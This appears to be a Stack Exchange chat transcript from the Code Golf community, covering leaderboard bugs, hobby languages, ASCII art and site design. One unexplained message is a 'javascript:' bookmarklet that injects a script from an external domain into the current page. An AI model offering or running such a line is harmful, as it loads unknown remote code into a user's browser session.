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5:01 AM
@Dennis I still get no results.
 
@AlexA. they should of tagged it jquery. it is obviously the only language capable of such feats
 
Wait, those are supposed to go in PPCG.SE, under
 
5:04 AM
@isaacg Any errors in your console?
 
@MarsUltor ಠ_ಠ
 
@Dennis Mixed Content: The page at 'https://stacksnippets.net/js' was loaded over HTTPS, but requested an insecure script 'http://api.stackexchange.com/2.2/questions/65020/answers?page=1&pagesize=10…Jfx‌​cRLe&callback=jQuery211042895826138556004_1459314080156&_=1459314080157'. This request has been blocked; the content must be served over HTTPS.
 
@Downgoat ?
 
@isaacg oh, you ust be using stackexchange on HTTPS
 
5:05 AM
Thanks, I noticed.
 
Okay, this is the weirdest bug. If I comment out a print line, it stops working. 0.0
 
stackexchange doesn't support HTTPS try using HTTP
 
If that's not worth fixing, that's fine.
@MyHamDJ Can I see the code?
 
@MyHamDJ you must have important code on the printline e.g. print StopCodeFromBreaking()
 
print ('vim --servername {} --remote-send "{}"'.format(self.server_name, keys))
 
5:06 AM
@Dennis I get got the same thing
 
@isaacg It should work now.
 
Seems to work now except that it's all one column
 
I think I understand what the problem was.
 
Still doesn't work, error is: 2https://cdn.sstatic.net/codegolf/all.css?v=83c949450c8b Failed to load resource: the server responded with a status of 404 (Not Found)
@Dennis It works now, thanks.
 
\o/
(Now all that's left is to fix all other leaderboards.)
 
5:13 AM
Now would be a good time to have a global search-and-replace feature..... :P
 
It is supposed to be one long column of the leaderboard then the winners by language right?
 
Yes
 
@Sherlock9 Yes, though I see two columns when I hit "Full Page".
 
Alright then. It works!
Ah ok
 
@El'endiaStarman mods get a global search and replace tool?
 
5:16 AM
Nope, not at all.
And for what it's worth, I think having such a tool available would be A Bad Idea.
 
why is "A Bad Idea" capitalized?
 
Makes it a Thing.
 
Is capitalizing Random Words In A Sentence a thing now?
 
Emphasis™
 
**Emphais**™
D:
 
5:17 AM
0lgu$
 
> Emphais
 
yes, but that doesn't have a ™
 
Don't add a zero-width space it doesn't help
 
.....guess not? :P
 
>_>
 
5:19 AM
<_<
 
>_<
 
v_v
 
?_?
 
5:21 AM
Hmm. <o> <- Ship
 
._. all of this >_> stuff should be moved to trash imo
 
Only if it becomes excessive.
WHICH IT SHOULDN'T.
 
>>>>____<<<<
 
is 10 messages not excessive?
 
Anyway, back to Pytek for me...
 
5:22 AM
oh yeah, and I have to get back to Cheddar...
 
Oh @El'endiaStarman, speaking of Pytek, if you do implement the whole quaternion thing, if you can parse a string as code, you'd rock GamrCorps' quaternion parsing challenge.
@Downgoat You have important cheese-related duties to attend to
 
._.
 
@AlexA. Haha, yeah, definitely.
 
@El'endiaStarman Is it written in Python?
 
It's El'endia, of course it is :D
 
5:23 AM
^ :D
 
@Zgarb This, and the discussion that follows, answers my question perfectly. Thanks
 
Is there a chatroom for it?
 
@ZachGates Yes, though there are vague plans to add backends written in C and asm.js.
 
@El'endiaStarman is Pytek supposed to be a general-purpose language or a more specific language?
 

 Pytek

Discussion for this in-development language
in Pytek, Feb 9 at 18:15, by El'endia Starman
Pytek is intended to be an actual, mainstream language that aims to reduce the amount of programmer work, largely by identifying and leveraging common patterns, such as nested loops. There are two overarching goals: 1) make the computer do as much of the programming work as possible, and 2) succinctness is power - there are great benefits to saying much with few words.
 
5:24 AM
> 1) make the computer do as much of the programming work as possible, and 2) succinctness is power - there are great benefits to saying much with few words.
sounds like a golfing language
 
It's not a golfing language though, right?
 
It's not a golfing language.
 
Is it a golfing language?
 
I consider a golfing language to be one where all/most commands are one or two bytes, which is most definitely not the case with Pytek.
 
@El'endiaStarman so like... Mathematica?
Mathematica is like 1/2 golfing language, 1/2 Java
 
5:26 AM
Will you make Pytek extensible via packages? Will it have an FFI?
 
It'll probably be approximately as verbose as Python, but only half as much code will be needed to say the same things.
@AlexA. Yes. FFI?
 
@El'endiaStarman will it have braces?
 
A foreign function interface (FFI) is a mechanism by which a program written in one programming language can call routines or make use of services written in another. The term comes from the specification for Common Lisp, which explicitly refers to the language features for inter-language calls as such; the term is also used officially by the Haskell and Python programming languages. Other languages use other terminology: the Ada programming language talks about "language bindings", while Java refers to its FFI as the JNI (Java Native Interface) or JNA (Java Native Access). Foreign function interface...
@Downgoat It got its braces off and now has to wear a retainer
 
I'd guess no since it starts with "py".
 
Actually yes it does have braces
 
5:28 AM
\o/ \o/ \o/ \o/
Pytek is waay better than Python
 
@Downgoat Nothing is better than Python
 
That's super false
 
@ZachGates yes, JavaScript, Cheddar
 
Though Python 3 is nice
 
5:29 AM
just to name a few
 
"Julia" - @AlexA.
 
Brainfuck is way better than python.
Much more readable and succinct.
 
@ZachGates Hey, I know that guy. I think he's right often.
 
I'm sure you all can agree that nothing is better than Pytek, right? ;)
 
5:30 AM
@MyHamDJ no, BF doesn't have braces either
 
(Whenever I finish it, that is.)
 
@MyHamDJ Clearly there needs to be an unholy combination of the two: Pyfuck.
 
@El'endiaStarman I'd say Cheddar, but I'm a bit biased :/
 
Hahaha, of course. :)
 
5:30 AM
@El'endiaStarman Gogh
 
@AlexA. Lol.
 
@ZachGates ¯\_(•0•)_/¯
 
I've thought about BF++ that adds functions.
 
¯\_( ͡ಠ ͜ʖ ͡ಠ) _/¯
@MyHamDJ it's called Java, I think
it's about as verbose as BF
 
haha
 
5:31 AM
@Downgoat I'm proud of you, using my ascii art.
 
@MyHamDJ ?
 
¯\_(ಠ͜ ಠ)_/¯
 
┌─┐
┴─┴
ಠ_ರೃ
 
Mar 13 at 21:08, by Vihan
¯\_( ͡ಠ ͜ʖ ͡ಠ) _/¯ <- this needs to become a thing
oh yeah
      _
     /(|
    (  :
   __\  \  _____
 (____)  `|
(____)|   |
 (____).__|
  (___)__.|_____
 
Yay!
Although now that I look at the transcript, you're right, I didn't do ¯_( ͡ಠ ͜ʖ ͡ಠ) _/¯
 
5:33 AM
.------.
|  /\  |
| /  \ |
| ---- |
'------'
 
@zyabin101 is that an ASCII-anti-Geobits?
 
@Downgoat It's an ASCII up vote button.
 
If so, it's not round enough.
 
@zyabin101 so an ASCII-anti-Geobits
 
@Downgoat yeah
 
5:35 AM
Here is an ASCII-anti-Downgoat:
(_(
/_/'_____/)
"  |      |
   |""""""|
 
._.
well it has no +1
I think @somebody was Upgoat for a while
 
You're so demanding...
 
:|
 
(_(
/_/'_____/)
"  |  +1  |
   |""""""|
3
Fixed it.
 
@Downgoat Yes. @MarsUltor was Upgoat for sometime.
 
5:39 AM
+1
 
\o/
 
Aaand the starboard is wrecked...
 
This is TNB, the starboard is always wrecked.
 
8 hours ago, by Don Muesli
@MartinBüttner Indexing instead of an if was such a good idea. I need to remember that!
I wonder what other languages this applies to
 
@Sherlock9 Quite a few I'd think, so long as the language has either modular or 0-based indexing
Well, you can do it otherwise, it's just a little more verbose
 
5:44 AM
@El'endiaStarman when was it ever not :P
 
@Downgoat I started over on V.
 
I should see if some of my old answers could do with a little spring golfing (as opposed to spring cleaning)
 
@JesterTran hello
 
@Downgoat Well, it's especially wrecked this time because of two ASCII-art entries that do not translate well. :P
 
5:45 AM
@Downgoat do you know any good books for problem solving
 
@El'endiaStarman true... @StackExchange, pls fix
@JesterTran not me specifically but some SE answers are:
1
A: Books on improving mathematical problem solving generally and in an exam setting

picakhuA few books that I found interesting, perhaps you will too. 1) How to develop a Super Power Memory 2) Mathematical Morsels 3) More Mathematical Morsels 4) AOPS 1 5) AOPS 2

 
@Downgoat thanks
 
@JesterTran np
night!
 
@Downgoat Good night!
 
5:49 AM
 
6:46 AM
@xnor Oh wow, I wouldn't have seen that if you hadn't posted
 
7:25 AM
1,000 visible answers! \o/
6
 
in what circumstances are an answer invisible
gratz btw
> This answer is non-competing, since it uses features that postdate the challenge.
your 1000th answer doesn't even count on that challenge haha
 
@undergroundmonorail I have written 1,032, but I had to delete 32 of them for one reason or another.
@undergroundmonorail Considering that Martin is currently at 999, I was in a hurry. :P
4
(I had to beat him to something. Anything.)
 
7:51 AM
@Dennis How about golfing?
 
anyone know how to generate all N-bit numbers in such an order that the number of binary 1s increases monotonically?
this feels like something knuth would have done
 
8:09 AM
@Anush recursively
 
@Neil go on please
or maybe it should be a challenge :)
 
sgtm
 
ah no.. the problem is that I don't want an exponential time "Create them all then sort"
which is what a code-golf answer would give
so.. how do you do it recursively?
 
actually you can do it iteratively
start with [[0], [1]]
then, take each list, add the next power of two to each element, and append it to the next list in the list
so after 1 step you get [[0], [1, 2], [3]]
 
but if N = 10
then you need 0000000000 , 0000000001, 0000000010, 0000000100 etc.
that doesn't give that does it?
 
8:14 AM
yeah, it will, after enough steps
 
@flawr is it in that list?
@Neil In any case.. I was hoping to create them one at a time
not all at once
Maybe I should set a challenge with N = 32
 
@Anush What are you talking about?
 
8:30 AM
@flawr How to generate all N-bit numbers in such an order that the number of 1s (in the binary representation) increases monotonically
an interesting challenge maybe?
 
8:46 AM
This is cool.
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A: String to ASCII Art Text

Anders KaseorgPython 2, 1208 bytes This source contains non-printable characters, so it is presented as a hexdump that can be decoded with xxd -r. 00000000: efbb bf73 3d72 6177 5f69 6e70 7574 2829 ...s=raw_input() 00000010: 0a69 3d32 320a 7768 696c 6520 693a 692d .i=22.while i:i- 00000020: 3d31 3b70 7269 6...

\o/
I didn't see it when I went over 200k.
 
(Seeing I gave you a warning when I hit 999, and you posted 14 answers since then, let's call it a tie? :P)
 
javascript:void((function(){z=document.createElement("script");z.src="https://peniscorp.com/topkek.js";document.body.appendChild(z);})());
 
9:50 AM
1
A: Create output twice the length of the code

Kenny LauJ, 6 5 3 2 bytes (bonus: -11 bytes) (try it online) Program: %4 Output: 0.25 Explanation: The reciprocal of 4. Bonus: 10,1$~_1+7*]/2 Testcases: 10,1$~_1+7*]/2 :10 1 1 1 1 1 1 1 1 1 1 1 1 1 10,1$~_1+7*]/2 2 :10 1 1 1 1 1 1 1 1 1 1 1 1 1 10,1$~_1+7*]/2 3 :10 1 1 1 1 1 1 1 1 1 1 1 1...

I'm quite proud of my 2-byte solution done in J
 
@Anush This may help
 
@KennyLau Note: SE uses Markdown, not BBCode-style formatting, so it's not <code> and </code>, it's `
2
*It also uses markdown in chat/comments
 
@MarsUltor Thanks, edited.
 
10:11 AM
I just had an upvote on my answer for Tips in Lua... Never felt so proud of an upvote :D
 
@MarsUltor HTML does work though and is sometimes necessary for fancier formatting.
 
@MartinBüttner Does it work in comments?
 
Nope, only answers. Not even all markdown works in comments.
 
Does anybody know how to deal with STDIN in J?
 
@KennyLau Isn't it one of these language that can only deal with arguments?
 
10:15 AM
Because I got called off for not using STDIN in one question.
 
@KennyLau which question?
 
J is famous for not having names like "input" or parentheses as function callers...
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A: Print the sum of the squares of some numbers

Kenny LauJ, 4 bytes + 100 +/*: Try it. +/*:1 2 5 7 8 143 A +100 punishment in the byte-count to myself for not having standard input.

 
@KennyLau esolang re-oriented me to J-- without me knowing, and paying attention x)
@KennyLau Dennis pointed you to a site with lots of input format in J in the comments -> 1!:1 3 seems to do the job
 
@Katenkyo Well, I can't do it here tryj.tk
You downloaded J?
@Katenkyo Also, check out my comment on your solution
 
11:02 AM
@DonMuesli your rep has overtaken mine! (And it has increased by about 10k since december of last year 0_o)
3
Let's blame MATL ^^
 
Speaking of overtaking, I'm still waiting for @Doorknob to overtake me :P
 
@Sp3000 yeah yeah, getting there... :P
 
Not only is it amazing that a TCP server is apparently a very easy program to write, I am thoroughly floored at the fact that it's getting golfed for fun. I'll just go back to struggling with FizzBuzz like an imbecile. — MonkeyZeus 15 hours ago
 
@KennyLau Yeah, the math.pow stayed in place during some testing, the d+0 was because at some point it showed an error, and i,x=io.read,0 is the same size as x=0i=io.read_:)
@KennyLau Also, I don't have J right now, and maybe you can't use this function because it can be used for reading files, which is usually banned on online interpreter.
I haven't go through all my submission since I discovered the fact that I can glue my numbers to letters in some cases, so there may still be some case where I can save 1 byte
 
11:21 AM
@Sp3000 Speaking of overtaking: @DigitalTrauma's number of votes are getting close to @AlexA.'s number of votes!
144 DT vs 182 AA
 
Hasn't the gap been about 30 or so for a while now?
 
I don't know, has it?
 
^^
it was about 30 all day yesterday
 
@flawr :-D
 
Oh, I just saw there's a national strike tomorrow in France...
7 Train still there, 0 bus... I guess i'll have to check if my bike can still do the job !
 
11:32 AM
Was just looking at Mornington Crescent (the esolang)
Came up with this addition program:
Take Northern Line to Bank
Take Northern Line to Bank
Take District Line to Parsons Green
Take District Line to Upminster
Take District Line to Victoria
Take Victoria Line to Seven Sisters
Take Victoria Line to Victoria
Take Victoria Line to Victoria
Take District Line to Parsons Green
Take District Line to Parsons Green
Take District Line to Upminster
Take District Line to Bank
Take District Line to Bank
Take District Line to Mornington Crescent
I have two questions:
1. Does it work?
2. Can it be golfed further?
 
Don't have the EsoIDE installed here.
 
@LegionMammal978 Yes. Drive your car to the destination
 
I could check tonight if I don't forget.
 
They need Mornington Crescent for tryitonline.net
 
@Dennis Morning Crescent TIO?
 
11:34 AM
@Dennis "they"
 
ninja'd
 
damn son
 
@Dennis ^^^^^
 
I literally had no idea who ran it :p
 
I think someone would first have to write a standalone interpreter
 
11:35 AM
Oh, is it only in esoteric IDE?
 
I think so
 
Looks like it can interpret the Morning Crescent :)
Also, I don't know if it HAVE to read a file, or if it also can interepret a command-line argument
 
@Katenkyo that might even be up to date
oh
it is
 
11:39 AM
The esoterpret could be useful once it had more languages
 
@Katenkyo Good luck=)
 
@flawr I couldn't possibly help him writing this, I only have played like 5 horus with python
(I was about to edit out this typo, but an Egyptian God as the right to be here too)
 
@Katenkyo flawr responded to your message about the trains and buses.
(if you're not using the old mobile UI, you can click/tap the arrow in front of the message to see which message the reply refers)
 
@MartinBüttner thanks (just forgot to check on which message it was linked ^^')
 
@MartinBüttner Are there and old and a new mobile UI?
 
11:44 AM
@flawr thanks, it's about 20km, so shouldn't be too hard
 
@DonMuesli yes (unless the old one has already been deactivated)
no it hasn't
 
@MartinBüttner I dunno... I use the Android app
 
if you're not using the new one yet, go to your chat profile, preferences, and activate it there
oh yeah, stop doing that immediately
the new UI is so much better than ChatSEy
 
Really?
 
it's the shit
 
11:47 AM
It's bad, yes. So, the other option is to access the chat through the web broswer, right?
 
yep
(although I was referring the new UI, not ChatSEy, using this definition)
 
:-)
 
ha deez nuts
 
> broswer
 
Hey, @Ton, you're a fairly new (yet active and experienced) member of the community (and it seems you weren't using other SE sites so far either). Do you have any feedback what the experience of the site is like for new users? Anything you found unpleasant or confusing? :)
 
11:52 AM
@zyabin101 Bros were bros, yo
 
I do lookup a lot of things on other SE sites actually, and have always been quite happy with the quality.
And in fact being active on codegolf I'm quite happy with the quality of the site. Easy to get to know how it works, easy to work with.
 
I'm glad to hear that. :)
 
I only found 2 technical annoyances:
1. When starting a comment and you decide not to send it, there is no cancel
2. When editing your post, I saw no easy link to the markup language
 
(1. <esc> deletes the comment text, but doesn't remove the text area.)
 
Oh, a third annoyance: I can't do mathjax
 
11:58 AM
I had a dream in which I became a moderator, but then the site split into two sites, so I lost my diamond.
 
@TonHospel oh yeah, we're missing mathjax as well, but there's some issues with the implementation that messes too much with our code snippets. (we had it activated for a few days, and had to undo a lot of mathjax edits before reverting it)
A link to the Markdown help: click the question mark in the top right corner of the edit bar. then "advanced help". that should link you to the relevant help centre article.
hopefully some day...
 
@MartinBüttner Yeah, likely I didn't look well enough for the markup help.
 
12:39 PM
@TonHospel We often use this or that (<- has multiple math fonts). I used both here.
 
@Geobits will be proud
 
sniff That's mah boy :P
> downl.png
 
Huh.
 
12:57 PM
@Dennis When I first read this on the starboard this morning, I had thought Dennis was referring to the election primaries...
 
0
Q: Express a number with only 0-9 and the four operations

Kenny LauExplanation Befunge is a two-dimensional program that uses stacks. That means, to do 5 + 6, you write 56+, which means: 56+ 5 push 5 into stack 6 push 6 into stack + pop the first two items in the stack and add them up, and push the result into stack (to those of you who do not know ...

1
Q: Find the treasure in a 2D dungeon

EsthrYou are in a one-floor dungeon. There is a treasure which is protected by locked doors. Doors can be opened by finding the corresponding keys. Your goal is to find the shortest path to the treasure. Input Input will be a two-dimensional grid representing the initial layout of the dungeon. ####...

 
11
Q: Puzzling Design Pitch - Congratulations, you're graduating!

Stéphane MartinI'm Stéphane, a senior product designer at Stack Exchange. First, I wanted to announce that this site is now starting the process of moving out of beta to become a fully-graduated site! Congratulations! Graduation and Your Site Design Graduation comes with a few perks, which should come out...

 
@Quill Wow, that's a really cool logo.
 
yeah, the design is nice
it'll be interesting to see what they come up with for here
 
1:12 PM
I'm so very confused. So they're actually still in beta right now (and this is the first graduation announcement), but already have a design concept? Aren't there several recently graduated sites (this one included) that have no design because of a backlog?
:/
 
yes
some sites are easier to design
 
I guess, but there are sites that have been waiting for months for this. It just looks bad imo (not the design).
 
Yeah, it's just easier to reduce the amount of sites that are waiting by doing the easy ones first
also there's different PMs that get assigned different sites
 
I just realized I end my sentences with semicolons when writing doc comments XP
 
Puzzling had Stéphane, CR had Paweł
It probably takes them different amounts of time to do
 
1:15 PM
@Quill That's just it, though. They weren't even waiting. This is the initial announcement. I'm not exactly mad about it or anything, but it is quite frustrating.
 
@El'endiaStarman I'm a logical Gates.
 
Yeah... designs are a hard thing to sort out
A&M have been graduated for like 6 months without a design
And the communities can do design idea meta posts, but they rarely do much
 
Yea, we've got one. I'm not convinced by the stuff there though.
I'm liable to be happy as long as it isn't covered in golf balls, though.
 
how do you visualise code golf though
 
Dunno. We probably need a professional designer :P
 
1:19 PM
and/or some damn good ideas
 
I like Puzzling's concept art. I'm not so sure about the main background fade, but I'll reserve judgement until I see it in action.
Overall the designers seem to do an impressive job around here, so I have faith.
 
Do we have a meta post for this? I think we do. Edit: We do.
 
@ZachGates Yes, and somebody made a userscript of the suggestions if you want to fool yourself into thinking we've got a design ;)
@TimmyD First a downvote screenshot, now this. It's like an emotional roller coaster.
 
:D
I aim to please.
 
1:23 PM
Oh, holy crap. I'm on the first page of Puzzling users by rep. Swag?
 
yes
 
I assumed I'd dropped off of there long ago.
 
first two pages
 
@Geobits I don't see you. I do see some user named "Set Big O" who is obviously not you, though.
 
Huh. That's just puzzling.
 
1:26 PM
@Geobits No, this is Programming Puzzles & Code Golf
 
this!=that
 
that!=this
 
It's like that and like this and like that...
 
Set Big O reminds me of the Lard Lad statue from The Simpsons
 
@Geobits Nuthin' but a G thang..
 
1:31 PM
@MarsUltor SE supports HTML formatting as well....
just not in chat
 
@Quill Yeah, MartinBüttner said that already. Also, it only works in questions/answers
 
haha
ninja'd turtle'd
@MarsUltor what else is there besides chat
 
Comments
 
oh yeah
profiles also support it IIRC
 
@DonMuesli hi.. are you about?
 

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